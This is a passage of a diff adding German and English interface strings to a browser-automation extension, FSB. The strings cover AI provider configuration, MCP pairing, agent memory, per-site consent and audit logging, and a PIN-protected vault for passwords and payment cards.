senden" + }, + "panel_57f9a109d4": { + "message": "Verbrauchte Tokens, Name des MCP-Clients, Anzahl aktiver Agenten. Keine URLs, Prompts oder DOM." + }, + "panel_9ec9376910": { + "message": "Vollständige Richtlinie lesen →" + }, + "panel_04dfac3671": { + "message": "Getrennt" + }, + "panel_acf2db1614": { + "message": "Serversynchronisierung" + }, + "panel_609bbbdf07": { + "message": "Hash-Schlüssel" + }, + "panel_534803768c": { + "message": "Dashboard koppeln" + }, + "panel_9a177de63c": { + "message": "Zum Koppeln scannen" + }, + "panel_43e3ece73f": { + "message": "verbleibend" + }, + "panel_5ad3dbd124": { + "message": "Verstanden" + }, + "panel_c9b3c38247": { + "message": "Summe" + }, + "panel_a69c4dece1": { + "message": "Speicher" + }, + "panel_ae65d09655": { + "message": "Kapazität" + }, + "panel_a039dfb962": { + "message": "Tokenzahl" + }, + "panel_4bc74b2135": { + "message": "Aufgabe" + }, + "panel_2f36130ebc": { + "message": "Zusammenführen" + }, + "panel_ddceb7adfd": { + "message": "Alles löschen" + }, + "panel_6cc8519b91": { + "message": "Start" + }, + "panel_d3f7409ad7": { + "message": "Alles stoppen" + }, + "panel_f00611c47f": { + "message": "Automatisch für dein System empfohlen. Bereich 1 bis 64. Niedriger bedeutet planbare Ressourcennutzung, höher mehr parallele Agenten. Eine Senkung bei laufenden Agenten beendet sie nicht; neue Ansprüche über der Grenze werden abgelehnt." + }, + "panel_bfd6b0808c": { + "message": "Standard 8. Bereich 1 bis 64. Niedriger bedeutet planbare Ressourcennutzung, höher mehr parallele Überwachungen. Eine Senkung bei aktiven Auslösern stoppt bestehende Überwachungen nicht; neue Auslöser über der Grenze werden abgelehnt." + }, + "panel_552aa7152b": { + "message": "Gibt einen kompakten Diff zurück, der beschreibt, was jede Aktion geändert hat, damit die AI die Seite nicht neu lesen muss. Standardmäßig an." + }, + "panel_bb0522a484": { + "message": "Standard 30. Bereich 1 bis 365 Tage. Es werden nur abgelaufene MCP-Wiedergabesitzungen automatisch gelöscht; der Automatikverlauf wird durch diese Einstellung nie gekürzt." + }, + "panel_77f6039567": { + "message": "Zeigt das Mikrofon im Seitenpanel und erlaubt die Spracherkennung des Browsers oder OpenAI Whisper. Standardmäßig an." + }, + "panel_509f0b9d50": { + "message": "Spracheingabe auszuschalten hindert FSB daran, das Mikrofon zu nutzen, widerruft aber nicht die von Chrome gespeicherte Berechtigung." + }, + "panel_76e917ee87": { + "message": "Kopple diese Erweiterung mit dem FSB-Dashboard für Fernsteuerung und Ergebnisspeicherung" + }, + "panel_c11de3bb2e": { + "message": "Mit dem FSB-Server verbinden, um Ergebnisse zu speichern und das Dashboard zu öffnen" + }, + "panel_097b5fa7f6": { + "message": "Erzeuge einen Schlüssel und kopple dann das Dashboard, um diesen Browser mit dem FSB-Server zu verbinden." + }, + "panel_75d0625c55": { + "message": "Hintergrundagenten haben das Gebäude verlassen" + }, + "panel_d17d0cfd98": { + "message": "FSB bleibt bei präziser Browserausführung in einem Versuch. Geplante und wiederkehrende Aufgaben passen besser zu Werkzeugen, die dafür gebaut sind:" + }, + "panel_5a694f4532": { + "message": "für eine quelloffene Agentenschleife, und" + }, + "panel_6e34781c2f": { + "message": "für verwaltete, lang laufende Automatisierungen. Wähle, was zu deiner Arbeitsweise passt." + }, + "panel_e76c360683": { + "message": "OpenClaw ausprobieren" + }, + "panel_1a58d9154d": { + "message": "Claude Routines ausprobieren" + }, + "panel_582ba53e9e": { + "message": "Eingestellt in v0.9.45rc1 · April 2026" + }, + "panel_daa7068396": { + "message": "Deine früheren Agenten" + }, + "panel_3107f72f47": { + "message": "Namen der Agenten, die auf diesem Profil gelebt haben, damit nichts verloren wirkt. Die Definitionen bleiben in chrome.storage.local['bgAgents'] (unverändert)." + }, + "panel_9f83a0b7bf": { + "message": "Langzeitgedächtnis aus früheren Automatisierungssitzungen" + }, + "panel_76a6bcf157": { + "message": "Automatisch analysieren" + }, + "panel_50d0c5511b": { + "message": "Episodisch" + }, + "panel_9c11c99c77": { + "message": "Semantisch" + }, + "panel_2e3e91ffbd": { + "message": "Prozedural" + }, + "panel_ee6cfab445": { + "message": "Kosten (30 Tage)" + }, + "panel_bc01325482": { + "message": "Alle Typen" + }, + "panel_96452046b5": { + "message": "Noch keine Erinnerungen gespeichert. Sie werden automatisch aus abgeschlossenen Automatisierungssitzungen gewonnen." + }, + "panel_ba7fab765c": { + "message": "Erkundung" + }, + "panel_cf0e1ec867": { + "message": "Eine Website durchsuchen, um interaktive Struktur, Navigation und Selektoren abzubilden" + }, + "panel_ad2f160b7b": { + "message": "Maximale Tiefe" + }, + "panel_53e4d8efcc": { + "message": "Maximale Seiten" + }, + "panel_8ccc2c0e78": { + "message": "Rechercheergebnisse" + }, + "panel_452d842e33": { + "message": "Erkundungsdaten ansehen und herunterladen oder als Sitemap-Erinnerungen speichern" + }, + "panel_df63a2da5f": { + "message": "Noch keine Rechercheergebnisse. Nutze die Erkundung oben, um eine Website zu durchsuchen." + }, + "panel_30c19209ac": { + "message": "Zusammengeführtes Gedächtnis" + }, + "panel_ba41142e62": { + "message": "Sitemaps" + }, + "panel_bb501d7877": { + "message": "Gemeinschaft" + }, + "panel_d4b1ea5708": { + "message": "Überblick" + }, + "panel_e72d5d8d0b": { + "message": "Erweitert" + }, + "panel_73cde2ba51": { + "message": "Handel und Einkauf" + }, + "panel_8dfdbc2ef4": { + "message": "Soziale Medien" + }, + "panel_6c335e2a76": { + "message": "Finanzen und Handel" + }, + "panel_822c302ddc": { + "message": "Reisen und Buchung" + }, + "panel_7b1b7b315b": { + "message": "E-Mail-Plattformen" + }, + "panel_cbb811ada2": { + "message": "Programmierplattformen" + }, + "panel_c47f423a0a": { + "message": "Karriere und Jobsuche" + }, + "panel_08cf7301b0": { + "message": "Spieleplattformen" + }, + "panel_2d995d5860": { + "message": "Produktivitätswerkzeuge" + }, + "panel_95bfe584eb": { + "message": "Design und Whiteboard" + }, + "panel_d9dae78103": { + "message": "Spiele" + }, + "panel_d357175cfe": { + "message": "Medien" + }, + "panel_6eb00b4b26": { + "message": "Musik" + }, + "panel_69752f2313": { + "message": "Nachrichten" + }, + "panel_71bf90935f": { + "message": "Nachschlagewerke" + }, + "panel_9b1f5daf0a": { + "message": "Sport" + }, + "panel_0a035c2b85": { + "message": "Hilfsprogramme" + }, + "panel_4b7ef9d8cd": { + "message": "Automatisierungsaktivität beobachten und Probleme untersuchen" + }, + "panel_65e5078378": { + "message": "Protokolle löschen" + }, + "panel_5ddbf16ab1": { + "message": "Protokolle exportieren" + }, + "panel_03f1acb9e6": { + "message": "Alle Protokolle" + }, + "panel_ee585cc4bd": { + "message": "Nur Fehler" + }, + "panel_0b3ff2c6ee": { + "message": "Warnungen und Fehler" + }, + "panel_2d9e112fc2": { + "message": "Info und darüber" + }, + "panel_122df75095": { + "message": "FSB-Kontrollzentrum erfolgreich geladen" + }, + "panel_edeead3f19": { + "message": "Sitzungsverlauf" + }, + "panel_fba294fa8b": { + "message": "Protokolle früherer Automatisierungssitzungen ansehen und exportieren" + }, + "panel_7a28e26099": { + "message": "Alle Sitzungen löschen" + }, + "panel_600cf8138b": { + "message": "Noch keine Sitzungen aufgezeichnet. Starte eine Automatisierungsaufgabe, um hier Sitzungsprotokolle zu sehen." + }, + "panel_e38737d4e5": { + "message": "Analyse-Debug-Werkzeuge" + }, + "panel_c0b1dd0e52": { + "message": "Erfassung der Analysedaten testen und prüfen" + }, + "panel_bc93dddbb3": { + "message": "Tokenverfolgung testen" + }, + "panel_4267998cbe": { + "message": "Speicherdaten ansehen" + }, + "panel_056a9215e5": { + "message": "Analysedaten löschen" + }, + "panel_2ed2274015": { + "message": "Daten exportieren" + }, + "panel_a239457076": { + "message": "Debug-Ausgabe:" + }, + "panel_38b6a17864": { + "message": "Einwilligung und Prüfung" + }, + "panel_94ef5e0fd6": { + "message": "Die Vorgabe unten gilt für jede Website, die du nicht eingerichtet hast; die Liste je Ursprung lässt einzelne Websites ausnehmen." + }, + "panel_6e133ee86d": { + "message": "Vorgabe für neue Websites" + }, + "panel_9693a6dbf3": { + "message": "Finanz- und Behördendienste sind unabhängig von dieser Einstellung immer gesperrt. Ausgeliefert als Automatisch; auf Aus stellen, um die strenge Einwilligung wiederherzustellen." + }, + "panel_01914d2038": { + "message": "Einwilligung je Ursprung" + }, + "panel_96db3ff001": { + "message": "Jede Website folgt der Vorgabe oben, außer du überschreibst sie hier. Stelle eine Website auf Aus, damit FSB dort nicht mehr handelt." + }, + "panel_48cfb671aa": { + "message": "Noch keine Websites. Jede Website, auf der FSB handelt, erscheint hier, damit du sie auf Aus stellen kannst. Neue Websites folgen der Vorgabe oben." + }, + "panel_2c64c030d4": { + "message": "Sensibel" + }, + "panel_18f2a0947f": { + "message": "Gesperrt" + }, + "panel_5f351832fd": { + "message": "Ändernde (Schreib-)Aufrufe erlauben" + }, + "panel_45a8c38cdf": { + "message": "Kompatibilitätsmetadaten für POST/PUT/PATCH/DELETE. Bei Automatisch kann FSB auf nicht gesperrten Ursprüngen lesen und schreiben." + }, + "panel_87b1794408": { + "message": "Ausstehende Anfragen" + }, + "panel_0334c4fb39": { + "message": "0 ausstehend" + }, + "panel_10fd874b68": { + "message": "Schreiben" + }, + "panel_47751f88ed": { + "message": "Prüfprotokoll" + }, + "panel_818cb91030": { + "message": "Protokoll exportieren" + }, + "panel_533e26bdcc": { + "message": "Protokoll löschen" + }, + "panel_33b93476cf": { + "message": "Zeit" + }, + "panel_d3e1c5f8a6": { + "message": "Ursprung" + }, + "panel_5faf58a69d": { + "message": "Fähigkeit" + }, + "panel_52a0f9b65b": { + "message": "Methode" + }, + "panel_bce87826df": { + "message": "Nebenwirkung" + }, + "panel_d37e0cd00f": { + "message": "Einwilligung" + }, + "panel_4e80abb5b1": { + "message": "Ergebnis" + }, + "panel_5934628d0f": { + "message": "Recht und Dienstrichtlinie" + }, + "panel_fea0aab06e": { + "message": "Rechtliche Haltung lesen →" + }, + "panel_4fc14539b2": { + "message": "Gesperrte Dienste ansehen →" + }, + "panel_efc0b9cac2": { + "message": "Datenschutzrichtlinie →" + }, + "panel_bfe73827c5": { + "message": "Automatische Anmeldung aktivieren" + }, + "panel_bbf6a83734": { + "message": "Zugangsdatentresor" + }, + "panel_07dd5f0064": { + "message": "Tresorstatus wird geprüft..." + }, + "panel_50b231118c": { + "message": "Tresor sperren" + }, + "panel_ac22d297f8": { + "message": "PIN-Länge wählen" + }, + "panel_3e785bbc44": { + "message": "4 Ziffern" + }, + "panel_7856e511a2": { + "message": "6 Ziffern" + }, + "panel_f246c76813": { + "message": "PIN eingeben" + }, + "panel_4fa10c7baa": { + "message": "PIN bestätigen" + }, + "panel_73134c8143": { + "message": "Tresor einrichten" + }, + "panel_872ac152d2": { + "message": "Gib deinen PIN zum Entsperren ein" + }, + "panel_b41986e3f5": { + "message": "Tresor entsperren" + }, + "panel_c1dc92c680": { + "message": "Neu hinzufügen" + }, + "panel_35d74dfd8d": { + "message": "Zugangsdaten hinzufügen" + }, + "panel_85a85dc9a2": { + "message": "Webseite / Domäne" + }, + "panel_657144f3f7": { + "message": "Benutzername / E-Mail" + }, + "panel_e7cf3ef4f1": { + "message": "Passwort" + }, + "panel_6239b93e96": { + "message": "Notizen (optional)" + }, + "panel_9caa27b9d0": { + "message": "Diese Zugangsdaten auf Subdomains erlauben" + }, + "panel_8816182605": { + "message": "Beispiel: Zugangsdaten gespeichert für" + }, + "panel_eb1c90412b": { + "message": "kann auch verwendet werden auf" + }, + "panel_195ab9772f": { + "message": "Gespeicherte Zahlungsmethoden aktivieren" + }, + "panel_b45d64e4a3": { + "message": "Gespeicherte Zahlungsmethoden" + }, + "panel_a92743920d": { + "message": "Status der Zahlungsmethoden wird geprüft..." + }, + "panel_bbc3d7eb41": { + "message": "Zahlungsmethoden sperren" + }, + "panel_24e06db48e": { + "message": "Passwörter öffnen" + }, + "panel_186f818f5f": { + "message": "Gespeicherte Zahlungsmethoden entsperren" + }, + "panel_82f87079c6": { + "message": "Karte hinzufügen" + }, + "panel_b610b1ecca": { + "message": "Zahlungsmethode hinzufügen" + }, + "panel_7cbcb92acd": { + "message": "Spitzname (optional)" + }, + "panel_85dfa9ba97": { + "message": "Wird in der Kartenauswahl und in der Liste gespeicherter Karten angezeigt." + }, + "panel_d6bc26851d": { + "message": "Name der Karteninhaberin oder des Karteninhabers" + }, + "panel_4566e068a2": { + "message": "Kartennummer" + }, + "panel_b764cdc0ea": { + "message": "Unbekannt" + }, + "panel_25ec19a82f": { + "message": "Die Kartenmarke wird beim Tippen automatisch erkannt." + }, + "panel_43533009b2": { + "message": "Ablaufmonat" + }, + "panel_310ca503ef": { + "message": "Monat" + }, + "panel_ca7aaef8c5": { + "message": "Ablaufjahr" + }, + "panel_8a944d3d0e": { + "message": "Rechnungsname" + }, + "panel_1b77352e0b": { + "message": "Rechnungsadresse Zeile 1" + }, + "panel_ff2bc02380": { + "message": "Rechnungsadresse Zeile 2 (optional)" + }, + "panel_fc33f73246": { + "message": "Stadt" + }, + "panel_9630a4b030": { + "message": "Bundesland / Region" + }, + "panel_8198b202a8": { + "message": "Postleitzahl" + }, + "panel_701d021d08": { + "message": "Land" + }, + "panel_d00eca1bae": { + "message": "Erste Schritte" + }, + "panel_c772928cb0": { + "message": "Lerne die Grundlagen der Browserautomatisierung mit FSB" + }, + "panel_584aa47f13": { + "message": "Website besuchen" + }, + "panel_b50c780ec8": { + "message": "Geführte Einrichtung" + }, + "panel_01c470e51f": { + "message": "Einrichtung neu starten" + }, + "panel_c205924de0": { + "message": "Dokumentation" + }, + "panel_ed16cec106": { + "message": "Repository ansehen" + }, + "panel_4c4a152a2b": { + "message": "Support und FAQ" + }, + "panel_7302582a6f": { + "message": "Support öffnen" + }, + "panel_d4a48a753a": { + "message": "MCP-Einrichtung" + }, + "panel_2df575344e": { + "message": "MCP-Anleitung ansehen" + }, + "panel_506ff39462": { + "message": "Datenschutzrichtlinie" + }, + "panel_377733b622": { + "message": "Datenschutzrichtlinie ansehen" + }, + "panel_666067dd37": { + "message": "Probleme" + }, + "panel_cf82dd02e8": { + "message": "Probleme ansehen" + }, + "panel_bc47da663d": { + "message": "Quellcode" + }, + "panel_6209d4d395": { + "message": "GitHub ansehen" + }, + "panel_bd4702c187": { + "message": "Versionshinweise" + }, + "panel_1705ccc5a5": { + "message": "Versionen ansehen" + }, + "panel_c011d6097b": { + "message": "Lizenz" + }, + "panel_b392d33f2e": { + "message": "Lizenz ansehen" + }, + "panel_a4b17bc7db": { + "message": "Du hast ungespeicherte Änderungen" + }, + "panel_8e0f9288e2": { + "message": "Wie FSB eine Website behandelt, die du nicht eingerichtet hast. Automatisch lässt FSB die authentifizierte API jeder nicht gesperrten Website aufrufen (Lesen und Schreiben). Aus verlangt, dass du jede Website zuerst aktivierst. Fragen stellt eine Anfrage zur Freigabe in die Warteschlange." + }, + "panel_811f8544eb": { + "message": "Anfragen, die auf deine Entscheidung warten. Eine Freigabe lässt den Aufrufer erneut versuchen; FSB handelt nie ohne deine Zustimmung." + }, + "panel_b04eb08367": { + "message": "Keine ausstehenden Anfragen. Wenn ein Werkzeug eine Einwilligung braucht, erscheint es hier. Zugriff kannst du auch vorab über die Liste oben gewähren." + }, + "panel_1fdd802663": { + "message": "Ein geschwärztes, nur anhängendes Protokoll der Fähigkeitsaufrufe. Argumente, Tokens, Cookies oder Antwortkörper werden nie gespeichert." + }, + "panel_787513f4fd": { + "message": "Noch keine Prüfeinträge. Fähigkeitsaufrufe werden hier aufgezeichnet, sobald du einen Ursprung erlaubst. Einträge sind geschwärzt und werden nur lokal gespeichert." + }, + "panel_323d6ff1f1": { + "message": "Automatisierungshaltung, Prüfaufbewahrung und Einwilligungsmodell von FSB sind in LEGAL.md dokumentiert. Einige Ursprünge sind durch die Dienstsperrliste von der Automatisierung ausgeschlossen." + }, + "panel_e31b2a3d3f": { + "message": "Gespeicherte Zugangsdaten und den gemeinsamen Tresor für unterstütztes Anmelden verwalten" + }, + "panel_93f508370d": { + "message": "Wenn aktiviert, erkennt FSB Anmeldeseiten und bietet an, sich automatisch mit gespeicherten Zugangsdaten anzumelden" + }, + "panel_10f7c25d31": { + "message": "Wähle einen PIN, um gespeicherte Zugangsdaten zu schützen. Vorhandene ältere Zugangsdaten werden automatisch migriert." + }, + "panel_50c3db852a": { + "message": "Entsperre, um Passwörter anzusehen, zu bearbeiten, automatisch auszufüllen oder zu speichern." + }, + "panel_b6680d54b2": { + "message": "Tresor für diese Browsersitzung entsperrt. Gespeicherte Zugangsdaten stehen unten bereit." + }, + "panel_8d5ab0fe44": { + "message": "Die automatische Anmeldung ist derzeit aus. Gespeicherte Zugangsdaten kannst du hier weiter verwalten, aber FSB nutzt oder speichert sie erst automatisch, wenn du sie aktivierst." + }, + "panel_c533cc0b87": { + "message": "Noch keine gespeicherten Zugangsdaten. Sie werden automatisch gespeichert, wenn du dich während der Automatisierung anmeldest, oder du fügst sie manuell hinzu." + }, + "panel_0153e2da59": { + "message": "Gib die Website-Domain ein (z. B. github.com, mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "Gespeicherte Karten für unterstütztes Bezahlen verwalten. Zahlungsmethoden teilen den in Passwörter eingerichteten Tresor." + }, + "panel_ff7378d58d": { + "message": "Wenn aktiviert, kann FSB anbieten, auf Bezahlseiten eine gespeicherte Karte auszufüllen. Die endgültige Zahlung wird nie automatisch abgeschickt." + }, + "panel_7d1624ea92": { + "message": "Entsperre den Zugangsdatentresor, bevor du gespeicherte Zahlungsmethoden verwaltest." + }, + "panel_ad5f8e8263": { + "message": "Gib deinen Tresor-PIN ein, um Zahlungsmethoden zu entsperren" + }, + "panel_2035e1f48d": { + "message": "Gespeicherte Karten nutzen denselben verschlüsselten Tresor, brauchen aber eine separate Entsperrung, bevor in dieser Browsersitzung beim Bezahlen ausgefüllt wird." + }, + "panel_0ec4dc2534": { + "message": "Gespeicherte Zahlungsmethoden sind für diese Browsersitzung entsperrt. FSB kann anbieten, auf erkannten Bezahlseiten eine gespeicherte Karte auszufüllen, schickt die endgültige Zahlung aber nie automatisch ab." + }, + "panel_5d38d8a7cf": { + "message": "Gespeicherte Zahlungsmethoden sind derzeit aus. Gespeicherte Karten kannst du hier weiter verwalten, aber FSB bietet sie beim Bezahlen erst an, wenn du die Funktion aktivierst." + }, + "panel_2fd67f06e0": { + "message": "Noch keine gespeicherten Zahlungsmethoden. Füge hier eine Karte hinzu, damit FSB sie auf Bezahlseiten anbieten kann, nachdem du den Zahlungszugriff entsperrt hast." + }, + "panel_928895f662": { + "message": "CVV und Rechnungsprofildaten werden verschlüsselt in deinem lokalen Tresor gespeichert. Prüfe die Sicherheit des lokalen Geräts, bevor du diese Funktion nutzt." + }, + "panel_39d561254a": { + "message": "Karte speichern" + }, + "panel_e4d896bcce": { + "message": "Hilfe holen und mehr über FSB-Funktionen erfahren" + }, + "panel_32623395c6": { + "message": "Die Einführung erneut starten, um Anbieter oder MCP-Einrichtung zu ändern" + }, + "panel_db4cec18bf": { + "message": "Vollständige Dokumentation und Einrichtungsanleitungen für FSB" + }, + "panel_63dfe63d28": { + "message": "FAQs durchsehen und häufige Verbindungsprobleme beheben" + }, + "panel_d2286811e6": { + "message": "MCP-Clients wie Claude Code und Cursor verbinden und dann mit dem Befehl doctor prüfen" + }, + "panel_f3cb441c27": { + "message": "Lies, wie FSB Daten, Speicher und optionale Serversynchronisierung behandelt" + }, + "panel_476481e410": { + "message": "Fehler melden, Funktionen anfragen und den Entwicklungsfortschritt verfolgen" + }, + "panel_89b47ad370": { + "message": "Quellcode ansehen und zur Entwicklung von FSB beitragen" + }, + "panel_f775bb5cbf": { + "message": "Sieh, was in jeder FSB-Version neu oder geändert ist" + }, + "panel_8abc0aef4e": { + "message": "FSB ist quelloffen unter der MIT-Lizenz" + }, + "panel_e235f8135c": { + "message": "Schließe dich anderen FSB-Nutzerinnen und Nutzern an und folge den Aktualisierungen" + }, + "panel_53e5555e9a": { + "message": "Speichert Wiedergabedaten lokal und schwärzt Felder mit Geheimnissen und sensible Eingaben. Gewöhnlicher getippter Text und Aktionsergebnisse bleiben für die Wiedergabe verfügbar. MCP-Clients können ein lokales Aufgabengedächtnis speichern, indem sie eine geheimnisfreie Abschluss-, Teil- oder Fehlerzusammenfassung liefern; es erfolgt kein separater Aufruf beim AI-Anbieter. Ausschalten beendet künftige MCP-Aufzeichnungen und speichert jede offene Aufzeichnung. Der vorhandene MCP-Wiedergabeverlauf behält bis zu die 50 neuesten Sitzungen, und keine Sitzung länger als die eingestellte Aufbewahrung. Der Automatikverlauf bleibt unberührt." + }, + "panel_65b7096b6d": { + "message": "Automatisierung für diesen Ursprung untersagt. " + }, + "panel_d50f8b527c": { + "message": "Sensibler Ursprung. Fähigkeitsaufrufe können unter Automatisch laufen; die Erkennung per Netzwerkmitschnitt braucht weiter eine Bestätigung." + }, + "panel_47d2a515ef": { + "message": "Wird geladen..." + }, + "panel_90e89ecfe7": { + "message": "Nächste 500 Ereignisse laden" + }, + "panel_935f2565d7": { + "message": "Ereignisse erneut laden" + }, + "panel_4eee87e82f": { + "message": "Tresordienst nicht erreichbar" + }, + "panel_08bf951eda": { + "message": "Kein Tresor eingerichtet. Erstelle einen, um gespeicherte Zugangsdaten zu schützen." + }, + "panel_949bcb5f38": { + "message": "Der Tresor ist gesperrt." + }, + "panel_30cef3bfb8": { + "message": "Tresor für diese Sitzung entsperrt." + }, + "panel_05dc3c4c0a": { + "message": "Fehler beim Prüfen des Tresorstatus." + }, + "panel_890a216b7c": { + "message": "Wird entsperrt..." + }, + "panel_def70944c9": { + "message": "Wird erstellt..." + }, + "panel_93ad91e855": { + "message": "Entsperre zuerst den Zugangsdatentresor." + }, + "panel_8221f05f8b": { + "message": "Zahlungsmethoden sind gesperrt." + }, + "panel_0b4ba676b0": { + "message": "Zahlungsmethoden für diese Sitzung entsperrt." + }, + "panel_b82d31b688": { + "message": "Fehler beim Prüfen des Zahlungsstatus." + }, + "panel_b197ab1d9b": { + "message": "Richte zuerst einen Tresor-PIN unter Passwörter ein." + }, + "panel_160419ae70": { + "message": "Zahlungsmethoden sind entsperrt." + }, + "panel_507fc32dc5": { + "message": "Agent bearbeiten" + }, + "panel_fb25598ed0": { + "message": "Neuen Agenten erstellen" + }, + "panel_6c02a28421": { + "message": "Wird getestet..." + }, + "panel_22965568d2": { + "message": "Verbunden" + }, + "panel_ee172faa9c": { + "message": "Ungültiger Schlüssel" + }, + "panel_031a8f0f65": { + "message": "Fehlgeschlagen" + }, + "panel_424a2551d3": { + "message": "Abgelaufen" + }, + "panel_c7730178f4": { + "message": "Neuen Code erzeugen" + }, + "panel_ac116124f7": { + "message": "Kopplungscode konnte nicht erzeugt werden. Versuche es erneut." + }, + "panel_d03fd96d28": { + "message": "Geladenes Modell wählen..." + }, + "panel_e189657f5a": { + "message": "Keine Modelle passen" } } diff --git a/extension/_locales/en/messages.json b/extension/_locales/en/messages.json index dcb9be3cf..86e083158 100644 --- a/extension/_locales/en/messages.json +++ b/extension/_locales/en/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "Error" + }, + "panel_67b6964686": { + "message": "Dashboard" + }, + "panel_8ad747d05c": { + "message": "API Configuration" + }, + "panel_8d261a372f": { + "message": "Sync" + }, + "panel_703390318b": { + "message": "Beta" + }, + "panel_be146b37a0": { + "message": "Passwords" + }, + "panel_632e1c5839": { + "message": "Payments" + }, + "panel_22d4f6088b": { + "message": "Advanced Settings" + }, + "panel_c3963aedaa": { + "message": "Memory" + }, + "panel_480d3c119a": { + "message": "Logs & Debugging" + }, + "panel_2ccff1d108": { + "message": "Help & Documentation" + }, + "panel_db17c74beb": { + "message": "Monitor your AI usage, costs, and automation performance" + }, + "panel_cd41bf0d3e": { + "message": "Total Tokens" + }, + "panel_dfa5cc738d": { + "message": "Total Cost" + }, + "panel_ada27592c9": { + "message": "Requests" + }, + "panel_5068c6c343": { + "message": "Success Rate" + }, + "panel_d909750b1b": { + "message": "Automation" + }, + "panel_cddf50281d": { + "message": "Token Usage Over Time" + }, + "panel_615c5daff4": { + "message": "Last 24 Hours" + }, + "panel_b84372e5cb": { + "message": "Last 7 Days" + }, + "panel_e9ddf63b38": { + "message": "Last 30 Days" + }, + "panel_5e4bc34faf": { + "message": "Configure your AI model provider and API settings" + }, + "panel_9b3cf4a154": { + "message": "AI Model Configuration" + }, + "panel_84e1ec2c5b": { + "message": "AI Provider" + }, + "panel_994f468aae": { + "message": "Choose another provider" + }, + "panel_e65d5614f4": { + "message": "Custom (OpenAI Compatible)" + }, + "panel_e69daa3849": { + "message": "API providers use local keys. Agent CLIs use their existing local sign-in." + }, + "panel_daa5fed227": { + "message": "Choose another AI provider" + }, + "panel_822a9fabc1": { + "message": "This provider is no longer available for Autopilot. Select and save another provider before starting a new task." + }, + "panel_5e2c614c23": { + "message": "Model" + }, + "panel_dfa17046ae": { + "message": "Provide API key to list models" + }, + "panel_00889a77ec": { + "message": "Select the AI model to use" + }, + "panel_bc3286fa36": { + "message": "xAI API Key" + }, + "panel_a3fb46f4c6": { + "message": "Get your API key from" + }, + "panel_8e9faa30de": { + "message": ". Your key is stored locally in your browser." + }, + "panel_53bca734db": { + "message": "Gemini API Key" + }, + "panel_8418bdbdcd": { + "message": "OpenAI API Key" + }, + "panel_e07165f5ce": { + "message": "OpenAI Platform" + }, + "panel_959bc25166": { + "message": "Anthropic API Key" + }, + "panel_c481af39b2": { + "message": "Anthropic Console" + }, + "panel_36e0497429": { + "message": "OpenRouter API Key" + }, + "panel_84de34181d": { + "message": ". Access 200+ models with a single key." + }, + "panel_018833a024": { + "message": "LM Studio Server URL" + }, + "panel_3efaf1b1c1": { + "message": "Uses LM Studio's local OpenAI-compatible server. No API key required. Models are discovered live from" + }, + "panel_83419f15b8": { + "message": "Custom API Endpoint" + }, + "panel_cfb67fffe3": { + "message": "Enter the full URL for your OpenAI-compatible API endpoint" + }, + "panel_acb781f972": { + "message": "Custom API Key" + }, + "panel_5e2e7207a6": { + "message": "Your key is stored locally in your browser." + }, + "panel_abfe6d40e5": { + "message": "Speech-to-Text" + }, + "panel_5303c4374c": { + "message": "Use OpenAI Whisper" + }, + "panel_14e36783b5": { + "message": "Requires an OpenAI API key. When disabled, uses browser's built-in speech recognition." + }, + "panel_e1461bf33a": { + "message": "CAPTCHA Solver" + }, + "panel_2909841c62": { + "message": "Enable CAPTCHA Solving" + }, + "panel_1955b2ec44": { + "message": "Use 2Captcha service to solve reCAPTCHA v2, hCaptcha, and Cloudflare Turnstile challenges" + }, + "panel_5ac544cb2f": { + "message": "2Captcha API Key" + }, + "panel_a003f76423": { + "message": "Sign up at" + }, + "panel_b6ff7ee96e": { + "message": "Agent CLI" + }, + "panel_a1272b91cf": { + "message": "Checking sign-in..." + }, + "panel_d696a35bdd": { + "message": "Profile" + }, + "panel_3ac8bbca9a": { + "message": "Billing" + }, + "panel_cec3a9b89b": { + "message": "Data" + }, + "panel_ccf75fb483": { + "message": "Connect SuperGrok" + }, + "panel_acfc5be785": { + "message": "Disconnect" + }, + "panel_1771a5d0f6": { + "message": "Continue sign-in" + }, + "panel_888a2f4fc6": { + "message": "Review SuperGrok usage" + }, + "panel_d334745b85": { + "message": "Installation guide" + }, + "panel_adadface01": { + "message": "Not reported" + }, + "panel_5bbbe53187": { + "message": "Sign-in" + }, + "panel_774bf7db76": { + "message": "Auth state" + }, + "panel_2e5f79bb94": { + "message": "Checking..." + }, + "panel_02600e6189": { + "message": "Verifying API connection" + }, + "panel_c02977b07e": { + "message": "Test Connection" + }, + "panel_3907fa7f80": { + "message": "Appearance" + }, + "panel_efb52e7172": { + "message": "Theme" + }, + "panel_6725e7bbcd": { + "message": "System" + }, + "panel_60acc53f13": { + "message": "Dark" + }, + "panel_dbcd5e7bb7": { + "message": "Light" + }, + "panel_19766ed6cc": { + "message": "Cancel" + }, + "panel_1509f561f2": { + "message": "Save" + }, + "panel_35322b5bb5": { + "message": "Save Changes" + }, + "panel_eb1a70e392": { + "message": "Discard" + }, + "panel_49e49bb440": { + "message": "Generate" + }, + "panel_0e91610117": { + "message": "Refresh" + }, + "panel_3664895579": { + "message": "Export" + }, + "panel_2cff9baabf": { + "message": "Import" + }, + "panel_78b7d0379d": { + "message": "Grant" + }, + "panel_05a2d7332e": { + "message": "Deny" + }, + "panel_ca7981b46e": { + "message": "Off" + }, + "panel_b8c209cdea": { + "message": "Ask" + }, + "panel_0286249762": { + "message": "Auto" + }, + "panel_1a3a4b99db": { + "message": "Users haven't reported a single instance of FSB being detected as a bot and interrupting their workflow. That said, not every day is sunshine. This is here for when one isn't." + }, + "panel_1a187ac034": { + "message": ", add balance, then copy your API key from the dashboard. Solves reCAPTCHA v2, hCaptcha, and Turnstile." + }, + "panel_92f1115a37": { + "message": "FSB uses this CLI's existing local sign-in. Test Connection sends one small no-tools validation request." + }, + "panel_cfaa352b86": { + "message": "xAI · local harness" + }, + "panel_fd05c3a95a": { + "message": "Requires the reviewed Grok Build 1.0.4 profile. Test Connection verifies installation, version, isolation, ACP, and cached OAuth without sending a prompt." + }, + "panel_ce4f452059": { + "message": "Uses your signed-in Grok account. SuperGrok usage draws from its shared weekly allowance; extra usage may apply." + }, + "panel_ba5c14963d": { + "message": "Browser task text and FSB MCP results are sent to Grok for inference. FSB disables secondary telemetry and trace uploads for this private profile." + }, + "panel_baf4338a6f": { + "message": "Anthropic · local harness" + }, + "panel_7b14b6ca11": { + "message": "Uses the account signed into Claude Code. FSB does not need your Anthropic credential." + }, + "panel_8cceeb4d83": { + "message": "Usage and charges follow that account's Claude plan or API configuration." + }, + "panel_d9daa99f67": { + "message": "Claude Code does not report an auth state that FSB can safely read." + 